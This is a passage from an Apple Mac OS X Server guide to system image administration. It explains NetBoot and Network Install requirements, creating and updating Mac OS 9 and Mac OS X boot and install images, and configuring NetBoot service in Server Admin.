• Start up from Mac OS 9 disk image: 64 MB • Start up from Mac OS X disk image: 128 MB Client computers using Network Install must also have 128 MB of RAM. Software Updates for NetBoot System Disk Images You should use the latest system software when creating NetBoot disk images. New Macintosh computers require updates of system software, so if you have new Macintosh clients you’ll need to update your boot images. To update a Mac OS X disk image, see “Adding an OS Update Package to a Mac OS X Boot Image” on page 22. To update a Mac OS 9 disk image, see “Modifying a Mac OS 9 Boot Image” on page 25. Ethernet Support on Client Computers NetBoot is supported only over the built-in Ethernet connection. Multiple Ethernet ports are not supported on client computers. Clients should have at least 100 Mbit Ethernet adapters. Network Hardware Requirements The type of network connections you should use depends on the number of clients you expect to boot over the network: • 100 Mb Ethernet (for booting fewer than 10 clients) • 100 Mb switched Ethernet (for booting 10–50 clients) • Gigabit Ethernet (for booting more than 50 clients) These are estimates for the number of clients supported. See “Capacity Planning” on page 16 for a more detailed discussion of the optimal system and network configurations to support the number of clients you have. Network Service Requirements Depending on the types of clients you want to boot or install, your NetBoot server must also provide the following supporting services. Service provided by NetBoot Server For booting Mac OS X computers with hard disks For booting Mac OS X computers without hard disks For booting Mac OS 9 computers DHCP optional optional optional NFS required if no HTTP required if no HTTP AFP required required HTTP required if no NFS required if no NFS TFTP required required required LL2348.Book Page 15 Thursday, August 21, 2003 10:58 AM 16 Chapter 1 About System Image Administration Note: DHCP service is listed as optional because, although it is required for NetBoot, it can be provided by a server other than the NetBoot server. Services marked “required” must be running on the NetBoot server. NetBoot and AirPort The use of AirPort wireless technology to NetBoot clients is not supported by Apple and is discouraged. Capacity Planning The number of NetBoot client computers your server can support depends on how your server is configured, when your clients routinely start up, the server’s hard disk space, and a number of other factors. When planning for your server and network needs, consider these factors: • Ethernet speed: 100Base-T or faster connections are required for both client computers and the server. As you add more clients, you may need to increase the speed of your server’s Ethernet connections. Ideally you want to take advantage of the Gigabit Ethernet capacity built in to your Mac OS X server hardware to connect to a Gigabit switch. From the switch you should connect Gigabit Ethernet or 100 Mb Ethernet to each of the NetBoot clients. • Hard disk capacity and number of images: Boot and install images occupy hard disk space on server volumes, depending on the size and configuration of the system image and the number of images being stored. Images can be distributed across multiple volumes or multiple servers. For more information, see “Performance and Load Balancing” on page 45. • Hard disk capacity and number of users: If you have a large number of Mac OS 9 or Mac OS X diskless clients, consider adding a separate file server to your network to store temporary user documents. Because the system software for a disk image is written to a shadow image for each client booting from the disk image, you can get a rough estimate for the required hard disk capacity required by multiplying the size of the shadow image by the number of clients. • Number of Ethernet ports on the switch: Distributing NetBoot clients over multiple Ethernet ports on your switch offers a performance advantage. Each port must serve a distinct segment. LL2348.Book Page 16 Thursday, August 21, 2003 10:58 AM Chapter 1 About System Image Administration 17 Setup Overview Here is an overview of the basic steps for setting up NetBoot service. Step 1: Evaluate and update your network, servers, and client computers as necessary The number of client computers you can support using NetBoot is determined by the number of servers you have, how they’re configured, hard disk storage capacity, and other factors. See “Capacity Planning” on page 16. Depending on the results of this evaluation, you may want to add servers or hard disks, add Ethernet ports to your server, or make other changes to your servers. You may also want to set up more subnets for your BootP clients, depending on how many clients you support. You may also want to implement subnets on this server (or other servers) to take advantage of NetBoot filtering. See “Restricting NetBoot Clients by Filtering Addresses” on page 38. If you plan to provide authentication and personalized work environments for NetBoot client users by using Workgroup Manager (Mac OS X clients) and Macintosh Manager (Mac OS 9 clients), you should set this up and import users from the Mac OS X Server Users & Groups database before you create disk images. Make sure you have at least one Macintosh Manager user assigned to the System Access workgroup for Mac OS 9 clients and the Workgroup Manager for Mac OS X clients. Step 2: Create disk images for client computers You can set up both Mac OS 9 disk images and Mac OS X disk images for client computers to start up from. A preconfigured Mac OS 9 image is supplied with Mac OS X Server on the NetBoot for Mac OS 9 CD, available separately. The Mac OS 9 disk image can be modified. If you’re supporting new client computers that were released after Mac OS X Server version 10.0.3, you’ll need to modify the Mac OS 9 disk image to support the new clients. See “Modifying a Mac OS 9 Boot Image” on page 25. To create Mac OS X disk images, you use Network Image Utility. See “Creating a Mac OS X Boot Image” on page 19. To create application packages that you can add to an image, use PackageMaker. Application software packages can be installed by themselves or along with Mac OS X system software. See “Creating Packages” on page 30. Step 3: Set up DHCP NetBoot requires that you have a DHCP server running either on the local server or another server on the network. Make sure that you have a range of IP addresses sufficient to accommodate the number of clients that will be using NetBoot at the same time. LL2348.Book Page 17 Thursday, August 21, 2003 10:58 AM 18 Chapter 1 About System Image Administration If your NetBoot server is also supplying DHCP service, you might get better performance if you configure your server as a gateway. That is, configure your subnets to use the server’s IP address as the router IP address. Be sure DHCP service is started. Step 4: Configure and turn on NetBoot service You use the NetBoot settings in Server Admin to configure NetBoot on your server. See Chapter 3, “Setting Up NetBoot Service.” You turn on NetBoot service using Server Admin. See “Starting NetBoot and Related Services” on page 34 and “Enabling Images” on page 34. Step 5: Set up Ethernet address filtering (optional) NetBoot filtering is done by client computer hardware address. Each client’s hardware address is automatically registered the first time the client attempts to start up from a NetBoot disk image. You can allow or disallow specific clients by address. See “Restricting NetBoot Clients by Filtering Addresses” on page 38. Step 6: Test your NetBoot setup Because there is risk of data loss or bringing down the network (by misconfiguring DHCP), it is recommended that you test your NetBoot setup before implementing it on all your clients. You should test each different model of Macintosh that you’re supporting. This is to make sure that there are no problems with the boot ROM for a particular hardware type. Step 7: Set up all client computers to use NetBoot When you’re satisfied that NetBoot is working on all types of client computers, then you can set up the client computers to start up from the NetBoot disk images. Clients running Mac OS 9: Use the Startup Disk control panel to select a startup disk image on the server, then restart the computer. See “Selecting a NetBoot Boot Image (Mac OS 9)” on page 40. Note: You may have to update the Startup Disk control panel on client computers running Mac OS 9 from their local hard disks so they can view NetBoot disk images in the control panel. See “Updating the Startup Disk Control Panel” on page 39. Clients running Mac OS X version 10.2 or later: Use the Startup Disk System Preference pane to select a startup disk image on the server, then restart the computer. See “Selecting a NetBoot Boot Image (Mac OS X)” on page 40. Any client: Restart the computer and hold down the N key until the NetBoot icon starts flashing on the screen. The client starts up from the default image on the NetBoot server. See “Starting Up Using the N Key” on page 42. LL2348.Book Page 18 Thursday, August 21, 2003 10:58 AM 2 19 2 Creating Boot and Install Images This chapter provides step-by-step instructions for preparing boot or install images that can be used with NetBoot service. Creating Mac OS X Boot Images The instructions in this section show how to create boot images of the Mac OS X operating system that you can use to start up client computers over the network. For help creating Mac OS 9 images, see “Creating Mac OS 9 Boot Images” on page 25. Creating a Mac OS X Boot Image You use Network Image Utility to create Mac OS X NetBoot images. Note: You must purchase an OS user license for each client that starts up from a NetBoot disk image. To create a boot image: 1 Log in to the server as an administrative user. 2 Open Network Image Utility and click New Boot. 3 In the General pane, type a name for the image you’re creating. This name will identify the image in the Startup Disk preferences pane on client computers. 4 Type an Image ID. To create an image that is unique to this server, choose an ID in the range 1–4095. To create one of several identical images to be stored on different servers for load balancing, use an ID in the range 4096–65535. Multiple images of the same type with the same ID in this range are listed as a single image in a client’s Startup Disk preferences panel. 5 (Optional) Type notes or other information that will help you characterize the image in the Description field. Clients can’t see what you type. LL2348.Book Page 19 Thursday, August 21, 2003 10:58 AM 20 Chapter 2 Creating Boot and Install Images 6 (CD source only) Choose the default language for the system. (Available only if you have already inserted the CD and chosen it as the source.) 7 Choose whether the image is to be delivered using NFS or HTTP. If you’re not sure which to choose, choose NFS. 8 Click Contents and choose the source for the image. You can choose an install CD, a mounted boot volume, or an existing disk image. If you’re creating the image from CDs, be sure it is inserted. Important: If you have created a standard disk image (.dmg file) from an OS install CD and want to use that image as the source for a NetBoot image, double-click the .dmg file in the Finder to mount the image, then choose it from the pop-up menu. 9 (Optional) Click the Add (+) button below the Other Items list to add an application package, system update package, or script to the image. 10 (CD source only) Click Default User, type a user name, short name, and password (in both the Password and Verify fields) for the system’s default user account. You can log in to a booted client using this account. 11 Click Create Image. If the Create button is not enabled, make sure you have entered an image name and ID, chosen an image source, and entered a default user name with a password that is at least four characters long. 12 In the Save As dialog, choose where to save the image. If you don’t want to use the image name you typed earlier, you can change it now by typing a new name in the Save As field. If you’re creating the image on the same server that will serve it, choose a volume from the “Serve from NetBoot share point on” pop-up menu. To save the image somewhere else, choose a location from the Where pop-up menu or click the triangle next to the Save As field and navigate to a folder. 13 Click Save. To check progress, look in the lower-left corner of the window. If you need to insert another CD, you’ll be prompted there. To create the image without including the contents of a subsequent CD, click Finish when you are prompted to insert it. Important: Don’t open the .nbi folder in /Library/NetBoot/NetBootSPn while the image is being created; clients won’t be able to use the resulting image. From the Command Line You can also create a boot image using commands in Terminal. For more information, see the system image chapter of the command-line administration guide. LL2348.Book Page 20 Thursday, August 21, 2003 10:58 AM Chapter 2 Creating Boot and Install Images 21 Installing the Classic Environment on a Mac OS X Disk Image You can install the Classic environment onto a Mac OS X image by copying a Mac OS 9.2.2 system folder into an “unlocked” NetBoot image. You must also specify the Mac OS X image as the Classic startup volume and start the Classic environment from the image using the System 9 preference pane to complete the integration. Don’t try to install the Classic environment onto Network Install images. This procedure works only for NetBoot images. To install the Classic environment on a Mac OS X boot image: 1 Make sure the disk image file (.dmg) is unlocked. If there is a small lock on the file’s icon in the Finder (in /Library/NetBoot/NetBootSPn), log in to the server as the root user, select the image file, choose Get Info from the Finder’s File menu, and deselect the Locked checkbox. 2 Double-click the image file to mount it. 3 Drag a Mac OS 9 System Folder to the disk image. You can use the System Folder from the NetBoot for Mac OS 9 CD (available separately) or use another Mac OS 9 version 9.2.2 System Folder that has been previously run as the Classic environment under Mac OS X. 4 In your server’s System Preferences, open the Classic preferences pane and select the disk image as the startup volume for the Classic environment. 5 Click Start to start up the Classic environment. 6 Shut down the Classic environment, then eject the image file. Configuring Directory Access for a Boot Image If you are not using DHCP to provide NetBoot clients with Open Directory information, you can set up directory access information and copy it to a boot image. To add directory access information to a boot image: 1 Open Directory Access (in /Applications/Utilities) on a running system and configure directory settings as you want them for your booted clients. 2 Mount the boot image and copy the directory /Library/Preferences/DirectoryService/ from the running system you just configured into the same location in the boot image. Warning: Don’t modify a disk image that is in use by any NetBoot clients. Doing so will result in unpredictable behavior for the clients. Before modifying a disk image, make sure no one is using the image or make a copy of the file and modify the copy. LL2348.Book Page 21 Thursday, August 21, 2003 10:58 AM 22 Chapter 2 Creating Boot and Install Images Adding an OS Update Package to a Mac OS X Boot Image You can add a Mac OS X system update package to an existing NetBoot image so that your clients start up from the latest available system. To apply a Mac OS X update to a NetBoot image: 1 Open Server Admin and select NetBoot in the Computers & Services list. 2 Disable the image you want to update to prevent access while you’re modifying it. Click Settings, click Images, deselect Enabled for the image, and click Save. 3 Open Network Image Utility and click Images. 4 Select the image and click Edit. 5 In the Contents tab, click the Add (+) button and choose the OS update package. 6 Click Save. 7 Reenable the image in the Images pane of Server Admin NetBoot settings. From the Command Line You can also update a boot image using commands in Terminal. For more information, see the system image chapter of the command-line administration guide. Creating a Mac OS X Boot Image From an Existing System If you already have a client computer set up to suit your users, you can use Network Image Utility to create a boot image that is based on that client’s configuration. You need to boot from a volume other than the one you’re using as the image source (boot from an external FireWire hard disk or a second partition on the client’s hard disk, for example). You can’t create the image on a volume over the network. To create a boot image based on an existing system: 1 Boot the computer from a partition other than the one you’re using for the image source. 2 Copy the Network Image Utility to the client computer. 3 Open the Network Image Utility on the client and click New Boot. 4 Click the Contents tab and choose the partition you want to use from the Image Source pop-up list. 5 Enter the remaining image information in the other panes as usual, then click Create. 6 After the image has been created on the client, export it to the server. Click Images, select the image in the list, and click Export. From the Command Line You can also create a boot image clone of an existing system using the hdiutil command in Terminal. For more information, see the system image chapter of the command-line administration guide. LL2348.Book Page 22 Thursday, August 21, 2003 10:58 AM Chapter 2 Creating Boot and Install Images 23 Synchronizing an Image With an Updated Source Volume If you create an image from a system volume and later update the original volume, you can automatically apply the updates to the image without re-creating it. Important: Be sure you synchronize the image with the correct original volume. The updated original volume must be a local volume on the server where the image is being edited. To sync an image with an updated source volume: 1 Open Server Admin and select NetBoot in the Computers & Services list. 2 Disable the image you want to update to prevent access while you’re modifying it. Click Settings, click Images, deselect Enabled for the image, and click Save. 3 Open the Network Image Utility (in /Applications/Server). 4 Choose Network Image Utility > Preferences, enable “Add items and sync with source when editing,” and close the preferences window. 5 Click Images, select the image, and click Edit. 6 Click Contents and choose the updated source volume from the Image Source pop-up menu. 7 Click Save. 8 Reenable the image using Server Admin. Choosing the Protocol Used to Deliver an Image You can use either NFS or HTTP to send images from the server to a client. You can choose this protocol when you create the image using the Network Image Utility or later when the image is listed in Server Admin. To choose the protocol when you create the image, choose either NFS or HTTP in the General pane in the Network Image Utility. To choose the protocol for an existing image, choose the NetBoot service in Server Admin, click Settings, and choose a protocol from the pop-up list next to the image in the Images pane. From the Command Line You can also change the delivery protocol by modifying the image’s NBImageInfo.plist file using Terminal. For more information, see the system image chapter of the command-line administration guide. LL2348.Book Page 23 Thursday, August 21, 2003 10:58 AM 24 Chapter 2 Creating Boot and Install Images Compressing Images to Save Disk Space You can create compressed images by setting a preference in the Network Image Utility. To create compressed images: 1 Open Network Image Utility. 2 Choose Network Image Utility > Preferences and select “Compress image when creating or editing.” Be sure the volume on which you’re creating the image has enough free space for both the uncompressed image and the compressed image. From the Command Line You can also compress images using the hdiutil command in Terminal. For more information, see the system image chapter of the command-line administration guide. Changing How Mac OS X NetBoot Clients Allocate Shadow Files By default, a Mac OS X NetBoot client places its shadow files in a NetBootClientsn share point on the server. If no such share point is available, the client tries to store its shadow files on a local hard disk. For Mac OS X version 10.3 and later images set for diskless booting, you can change this behavior by using a text editor to specify a value for the NETBOOT_SHADOW variable in the image’s /etc/hostconfig file. These values are allowed: Note: This value is set in the /etc/hostconfig file in the image .dmg file, not in the server’s hostconfig file. Value of NETBOOT_SHADOW Client shadow file behavior -NETWORK- (Default) Try to use a server NetBootClientsn share point for storing shadow files. If no server share point is available, use a local drive. -NETWORK_ONLY- Try to use a server NetBootClientsn share point for storing shadow files. If no server share point is available, don’t boot. -LOCAL- Try to use a local drive for storing shadow files. If no local drive is available, use a server NetBootClientsn share point. -LOCAL_ONLY- Try to use a local drive for storing shadow files. If no local drive is available, don’t boot. LL2348.Book Page 24 Thursday, August 21, 2003 10:58 AM Chapter 2 Creating Boot and Install Images 25 Creating Mac OS 9 Boot Images You can’t use the Network Image Utility to create Mac OS 9 images. However, you can use the image provided on the NetBoot for Mac OS 9 CD (available separately). Installing a Mac OS 9 Boot Image To install the preconfigured Mac OS 9 disk image, log in as root, then open NetBoot.pkg on the NetBoot for Mac OS 9 CD (available separately). The Installer installs the Mac OS 9 NetBoot image folder in the /Library/NetBoot/NetBootSPn/DefaultMacOS92.nbi directory (where n is the volume number). Modifying a Mac OS 9 Boot Image To install software on, or change, the preconfigured Mac OS 9 disk image, you need to start up from a NetBoot client computer, connect to the NetBoot server volume, and open the NetBoot Desktop Admin program. Your changes are not available to you or other users until after the last time the NetBoot client computer running NetBoot Desktop Admin restarts. Before you start this procedure, be sure to have the name and password of a user with read/write access to the NetBoot server volume (for example, the administrator). The following procedure requires that you restart the client computer several times. Important: Be careful if there is more than one NetBoot server on your network. The client may restart from a disk image on a server other than the one you’re working on. If you’re using Macintosh Manager with NetBoot client computers, each time you start or restart the client computer, you need to log in as a Macintosh Manager administrator who belongs to the System Access workgroup. To install software or change the Mac OS 9 disk image: 1 Log in to the server volume as a user with read/write access (for example, as an administrator). 2 Using the Chooser, log in to all the server volumes on the client. 3 Copy the NetBoot Desktop Admin application to a local volume on the client, then open the application. NetBoot Desktop Admin is supplied on the NetBoot for Mac OS 9 CD (available separately). LL2348.Book Page 25 Thursday, August 21, 2003 10:58 AM 26 Chapter 2 Creating Boot and Install Images 4 Click Make Private Copy. NetBoot Desktop Admin creates a copy of the disk image. This may take several minutes, and you should not interrupt the process. When it finishes, your NetBoot client computer restarts automatically. Important: Because the copy of a disk image is associated with the NetBoot client computer you used to create it, you must make the changes to the image using the same computer. If you change computers, you won’t be able to see the changes you have made and your changes won’t be available to users. In addition, you increase the risk of unauthorized users making changes to the disk image. 5 If you’re installing a new version of the Mac OS or adding system extensions, you may need to increase the size of the disk image. Make sure the disk image is large enough to accommodate the size of the new system and extensions you’re installing. You can’t reduce the size of an image without reverting to a smaller backup copy. 6 If you’re installing new application software, you may need to increase the size of the application disk image. Be sure the disk image has enough space for the software you want to install. However, increase the size of an image only as much as needed. You can’t reduce the size of an image without reverting to a smaller backup copy. 7 Install the software or make changes to the system configuration. Make sure to install the latest updates for the system software. If you’re installing software, follow the installation instructions that came with the software. If necessary, restart the computer. After installing an application, open it. Doing so lets you enter a registration number, if necessary. If you don’t enter the number now, every time users open the application they will need to enter the registration number. In addition, most applications create a preferences file in the System Folder. If you don’t open the application, users may not be able to open the application because the preferences won’t exist. 8 Be sure there aren’t any files in the Trash that you want to save. (The Trash is emptied automatically after the next step.) Note: If you can’t empty the Trash because it contains files that are in use, you may need to restart the computer. 9 If necessary, use the Chooser to log back in to all the server volumes. 10 Open the NetBoot Desktop Admin application, then click Save. The computer restarts automatically. If you need to make other changes, click Quit and return to Step 7. Clicking Discard removes the changes you’ve made to the disk image. LL2348.Book Page 26 Thursday, August 21, 2003 10:58 AM Chapter 2 Creating Boot and Install Images 27 11 Start the NetBoot client computer again, and log back in to all the server volumes. 12 Open NetBoot Desktop Admin. If you want to keep a backup copy of the old disk image, leave the “Keep previous disks as backup” option selected. Backup copies are stored in the Backup Images folder in the Shared Images folder on the NetBoot server. Note: Because there is only one backup folder, the backup image saved at this time will overwrite any backup image in the folder from a previous session. 13 If you clicked Save in Step 10, click Restart. Otherwise, click OK. If you click Restart, NetBoot Desktop Admin saves your changes, deletes the old disk image, and then restarts the computer. Changes are available the next time a NetBoot client computer restarts. If you click OK, NetBoot Desktop Admin deletes the old disk image. Setting Up Multiple Mac OS 9 Images To create more than one Mac OS 9 disk image, make copies of the preconfigured disk image you installed from the NetBoot for Mac OS 9 CD into the directory /Library/NetBoot/NetBootSPn on any server volume. Then use NetBoot Desktop Admin to modify the Mac OS 9 disk images as desired. Use Server Admin to enable disk images and select the default disk image. See “Enabling Images” on page 34 and “Specifying the Default Image” on page 37. Unlocking an Image If an image is locked, you’ll need to unlock it before you can make any changes to it. To unlock a Network Install image: 1 Log in as the root user. 2 Select the image file and choose File > Show Info. 3 Uncheck the Locked checkbox. LL2348.Book Page 27 Thursday, August 21, 2003 10:58 AM 28 Chapter 2 Creating Boot and Install Images Creating Install Images The following sections show how to create images you can use to install software on client computers over the network. Creating an OS Install Image To create an image that will install the OS software on a client computer, use the Network Image Utility. You can find this application in the folder /Applications/Server/. To create an OS install image: 1 Log in to the server as an administrative user. 2 Open Network Image Utility and click New Install. 3 In the General pane, type a name for the image you’re creating. 4 Type an Image ID. Choose a number in the range 1–4095 for an image that will be available on a single server, or 4096–65535 for an image that you plan to make available on multiple servers but want to list only once in the client computer Startup Disk preferences. 5 (CD source only) Choose the default language for the software. (Available only if you have already inserted the CD and chosen it as the source.) Note: This is the language used by the installed software only. The installer that runs always appears in English (if this is not an automated install). 6 Choose whether the image is to be delivered using NFS or HTTP. If you’re not sure which to choose, choose NFS. 7 On the Contents pane, choose the source for the image. You can choose an install CD, a mounted boot volume, or an existing disk image. 8 (Optional) Click the Add (+) button below the list to add applications or post-install scripts to the image. 9 In the Installation Options pane, enable “Checksum destination after installing” to have the installer verify the integrity of the image after it is transferred to the client but before it is installed. (For images from volume source only.) 10 To have the software install with limited or no interaction at the client computer, select “Enable automated installation,” then click Options. 11 Click Create Image. If the Create button is not enabled, make sure you have entered an image name and ID, and have chosen an image source. 12 In the Save As dialog, choose where to save the image. If you don’t want to use the image name you typed earlier, you can change it now by typing a new name in the Save As field. LL2348.Book Page 28 Thursday, August 21, 2003 10:58 AM Chapter 2 Creating Boot and Install Images 29 If you’re creating the image on the same server that will serve it, choose a volume from the “Serve from NetBoot share point on” pop-up menu. To save the image somewhere else, choose a location from the Where pop-up menu or click the triangle next to the Save As field and navigate to a folder. 13 Click Save. To check progress, look in the lower-left corner of the window. If you need to insert another CD, you’ll be prompted there. To create the image without including the contents of a subsequent CD, click Finish when you are prompted to insert it. Adding Software to Boot and Install Images There are two basic approaches to including additional software in an image: • Add additional applications and files to an existing system before creating an image using that system as the source (see “Creating a Mac OS X Boot Image From an Existing System” on page 22) • Add packages containing the additional applications and files to an existing image (see “Creating an Application-Only Install Image” on page 30) About Packages If you plan to add application software or other files to an image at creation time (instead of installing the applications or files on the image source volume before you create the image), you need to group the applications or files into a special file called a package. A package is a collection of compressed files and related information used to install software onto a computer. The contents of a package are contained within a single file, which has the extension “.pkg.” The following table lists the components of a package. File in Package Description product.pax.gz The files to be installed, compressed with gzip and archived with pax. (See man pages for more information about gzip and pax.) product.bom Bill of Materials: a record of where files are to be installed. This is used in the verification and uninstall processes. product.info Contains information to be displayed during installation. product.sizes Text file; contains the number of files in the package. product.tiff Contains custom icon for the package. product.status Created during the installation, this file will either say “installed” or “compressed.” product.location Shows location where the package will be installed. software_version (Optional) Contains the version of the package to be installed. LL2348.Book Page 29 Thursday, August 21, 2003 10:58 AM 30 Chapter 2 Creating Boot and Install Images Creating Packages To add applications or other files to an image (instead of installing them first on the image source volume before creating the image), use PackageMaker to create packages containing the application or files. PackageMaker is in the Utilities folder on the Mac OS X Server Administration Tools CD that comes with Mac OS X Server. For more information on creating packages, open PackageMaker and choose PackageMaker Help, PackageMaker Release Notes, or Package Format Notes from the Help menu. After creating the packages, add them to your boot or install image using the Network Image Utility. See “Creating an Application-Only Install Image” on page 30 or “Adding Packages to a Boot or Install Image” on page 30. Adding Packages to a Boot or Install Image To include additional application or file packages in an image, add the packages to the image using the Network Image Utility. You can add packages at the time you create an image or add packages to an existing image. To add packages to a new image you’re creating using Network Image Utility, click the Add (+) button after you select the image source in the Contents pane. To add packages to an existing image, open Network Image Utility, click Images, and select the image in the list. Then click Edit, and click the Add (+) button in the Contents pane. In either case, you can drag package icons from the Finder to the Other Items list in the Contents tab instead of using the Add (+) button. Note: You can’t add metapackages to an image using the Network Image Utility. From the Command Line You can also add packages to a boot or install image by modifying the image and its associated rc.cdrom.packagePath or minstallconfig.xml file in Terminal. For more information, see the system image chapter of the command-line administration guide. Creating an Application-Only Install Image To create an install image that contains application software but no OS software, deselect the Include Mac OS X option in the Contents pane in the Network Image Utility. Note: You can’t use the Network Image Utility to create an automated install image that contains a metapackage or more than one regular package. You can do this using commands in Terminal. For more information, see the system image chapter of the command-line administration guide. LL2348.Book Page 30 Thursday, August 21, 2003 10:58 AM Chapter 2 Creating Boot and Install Images 31 To add packages to a new image you’re creating using Network Image Utility, click the Add (+) button after you select the image source in the Contents pane. You can drag package icons from the Finder to the Other Items list in the Contents tab instead of using the Add (+) button. Automating Installation of an Image To install Mac OS software (along with any packages you add) with limited or no interaction from anyone at the client computer, use the Network Image Utility to create an automated install image. Otherwise, a user at the client computer will have to respond to questions from the installer. To set up an OS image for automated installation: 1 Open Network Image Utility and click New Install. 2 Provide information in the General and Contents panes as usual. 3 In the Installation Options pane, select “Enable automated installation.” 4 Click the Options button. 5 For unattended installation, choose “Install on volume” next to Target Volume and type the name of the volume on the client computer where the software will be installed. To allow the user at the client computer to select the volume on which to install, choose “User selects.” 6 To install the software on a clean drive, enable “Erase the target volume before installing.” 7 To install without requiring user confirmation at the client computer, disable “Require client user to respond to a confirmation dialog.” 8 If the installed software requires a restart, enable “Restart the client computer after installing.” If the name you provide for the install volume does not match the name of a volume on the client computer, a user at the client computer must respond to an installer prompt for another target volume. From the Command Line You can also set up an image for automated install by modifying the associated minstallconfig.xml file using Terminal. For more information, see the system image chapter of the command-line administration guide. LL2348.Book Page 31 Thursday, August 21, 2003 10:58 AM 32 Chapter 2 Creating Boot and Install Images Viewing the Contents of a Package To view the contents of a package, hold down the Control key as you click the package in a Finder window and choose Show Package Contents from the menu that appears. You use PackageMaker (in the Utilities folder on the Mac OS X Server Administration Tools CD) to create application software packages to use with Network Install. From the Command Line You can also list the contents of a package using commands in Terminal. For more information, see the system image chapter of the command-line administration guide. Installing Mac OS Updates To use Network Install to install operating system updates on client computers, add the system update package to an installer image in the same way you would add any other package. See “Creating an Application-Only Install Image” on page 30. You can download Mac OS updates from www.apple.com/support. LL2348.Book Page 32 Thursday, August 21, 2003 10:58 AM 3 33 3 Setting Up NetBoot Service This chapter describes how to set up NetBoot service to make boot and install images available to clients. Setting Up NetBoot Follow the instructions in the following sections to set up your NetBoot server. Configuring NetBoot Service You use Server Admin to configure the Mac OS X Server NetBoot service. To configure NetBoot: 1 Open Server Admin and select NetBoot in the Computers & Services list. 2 Click the Settings button, then click General. 3 Click Enable next to the network ports you want to use for serving images. 4 Click in the Images column of the Volume list to choose where to store images. 5 Click in the Client Data column of the Volume list for each local disk volume on which you want to store shadow files used by Mac OS 9 clients and Mac OS X diskless clients. 6 Click Save, then click Images. 7 Click in the Default column of the Image list to select the default image. 8 Enable the images you want your clients to use, specify if they are available for diskless clients, and choose the protocol for delivering them. If you’re not sure which protocol to use, choose NFS. 9 Click Save. 10 (Optional) Click the Filters tab to restrict clients to a known group. For more information, see “Restricting NetBoot Clients by Filtering Addresses” on page 38. From the Command Line You can also configure NetBoot service using the serveradmin command in Terminal. See the system image chapter of the command-line administration guide. LL2348.Book Page 33 Thursday, August 21, 2003 10:58 AM 34 Chapter 3 Setting Up NetBoot Service Starting NetBoot and Related Services NetBoot service uses AFP, NFS, DHCP, Web, and TFTP services, depending on the types of clients you’re trying to boot (see “Network Service Requirements” on page 15). You can use Server Admin to start AFP, DHCP, Web, and NetBoot. NFS and TFTP start automatically. Note: NetBoot does not start automatically after server restart when you enable NetBoot service in the Setup Assistant when you first install the server software. Only the required share points are set up. To start NetBoot service: 1 Open Server Admin. 2 If you’ll be booting Mac OS 9 clients or diskless Mac OS X clients, start AFP service. Select AFP in the Computers & Services list and click Start Service. 3 If your server is providing DHCP service, make sure the DHCP service is configured and running. Otherwise, DHCP service must be supplied by another server on your network. If your NetBoot server is also supplying DHCP service, you might get better performance if you configure your server as a gateway. That is, configure your subnets to use the server’s IP address as the router IP address. 4 Make sure NetBoot is enabled on a network port. Open Server Admin, select NetBoot in the Computers & Services list, and click Settings. 5 Start NetBoot service. Select NetBoot in the Computers & Services list and click Start Service. From the Command Line You can also start NetBoot and supporting services using commands in Terminal. For more information, see the system image chapter of the command-line administration guide. Enabling Images You must enable one or more disk images on your server to make the images available to client computers for NetBoot startups. To enable disk images: 1 Open Server Admin and select NetBoot in the Computers & Services list. 2 Click Settings, then click Images. 3 Click in the Enable column for each image you want your clients to see. 4 Click Save. LL2348.Book Page 34 Thursday, August 21, 2003 10:58 AM Chapter 3 Setting Up NetBoot Service 35 Choosing Where Images Are Stored You can use Server Admin to choose the volumes on your server you want to use for storing boot and install images. To choose volumes for storing image files: 1 Open Server Admin and select NetBoot in the Computers & Services list. 2 Click Settings, then click General. 3 In the list of volumes in the lower half of the window, click the checkbox in the Images column for each volume you want to use to store image files. 4 Click Save. From the Command Line You can also specify that a volume should be used to store image files using the serveradmin command in Terminal. For more information, see the system image chapter of the command-line administration guide. Choosing Where Shadow Files Are Stored When a diskless client boots, temporary “shadow” files are stored on the server. You can use Server Admin to specify which server volumes are used to store the temporary files. To use a volume for storing shadow files: 1 Open Server Admin and select NetBoot in the Computers & Services list. 2 Click Settings, then click General. 3 In the list of volumes in the lower half of the window, click the checkbox in the Client Data column for the volumes you want to use to store shadow files. 4 Click Save. From the Command Line You can also specify that a volume should be used to store shadow files using the serveradmin command in Terminal. For more information, see the system image chapter of the command-line administration guide. Warning: Don’t rename a NetBoot share point or the volume on which it resides. Don’t use Workgroup Manager to stop sharing for a NetBoot share point unless you first deselect the share point for images and shadow files in Server Admin. Warning: Don’t rename a NetBoot share point or the volume on which it resides. Don’t use Workgroup Manager to stop sharing for a NetBoot share point unless you first deselect the share point for images and shadow files in Server Admin. LL2348.Book Page 35 Thursday, August 21, 2003 10:58 AM 36 Chapter 3 Setting Up NetBoot Service Using Images Stored on Other NFS Servers You can store boot or install images on NFS servers other than the NetBoot server itself. To store an image on a separate NFS server: 1 If you haven’t already, create the image on the NetBoot server. This creates an image (.nbi) folder for the image in /Library/NetBoot/NetBootSPn on the NetBoot server. 2 Copy the image (.dmg) file from the .nbi folder on the NetBoot server to a shared (exported) directory on the other server. Leave the .nbi folder and the other files it contains on the NetBoot server. 3 Open the NBImageInfo.plist file for the image using a text editor or the Property List Editor and set the value of the RootPath property to point to the new location of the image using the following syntax: host:path:image where host is the name or IP address of the NFS server, path is the location of the image on the server, and image is the name of the image (.dmg) file. If the mount point specified by path is directly bootable, you don’t need to specify image. For example: • server3:/Images/OSX/Jaguar:Jag_10_2.dmg points to the image file Jag_10_2.dmg in /Images/OSX/Jaguar on the host server3 • 172.16.12.20:/Images/OS_X/Jaguar specifies a directly bootable mount point on a server identified by IP address If the image is already on the remote server, you can create the .nbi folder on the NetBoot server by duplicating an existing .nbi folder and adjusting the values in its NBImageInfo.plist file. Moving Images to Headless Servers Use the Export feature of the Network Image Utility to move images to another server, including servers without displays or keyboards. To copy an image to another server: 1 Open Network Image Utility and click Images. 2 Select the image in the list and click Export, and provide the target information. Important: To avoid problems with file permissions, don’t use Terminal or the Finder to copy boot or install images across the network to other servers. LL2348.Book Page 36 Thursday, August 21, 2003 10:58 AM Chapter 3 Setting Up NetBoot Service 37 Specifying the Default Image The default image is the image used when you start a client computer while holding down the N key. See “Starting Up Using the N Key” on page 42. If you’ve created more than one startup disk image, you can use the NetBoot service settings in Server Admin to select the default startup image. Important: If you have diskless clients, set their boot image as the default image. If you have more than one NetBoot server on the network, a client uses the default image on the first server that responds. There is no way to control which default image is used when more than one is available. To specify the default boot image: 1 Open Server Admin and select NetBoot in the Computers & Services list. 2 Click Settings, then click Images. 3 Click the button in the Default column next to the image. 4 Click Save. From the Command Line You can also specify the default image using the serveradmin 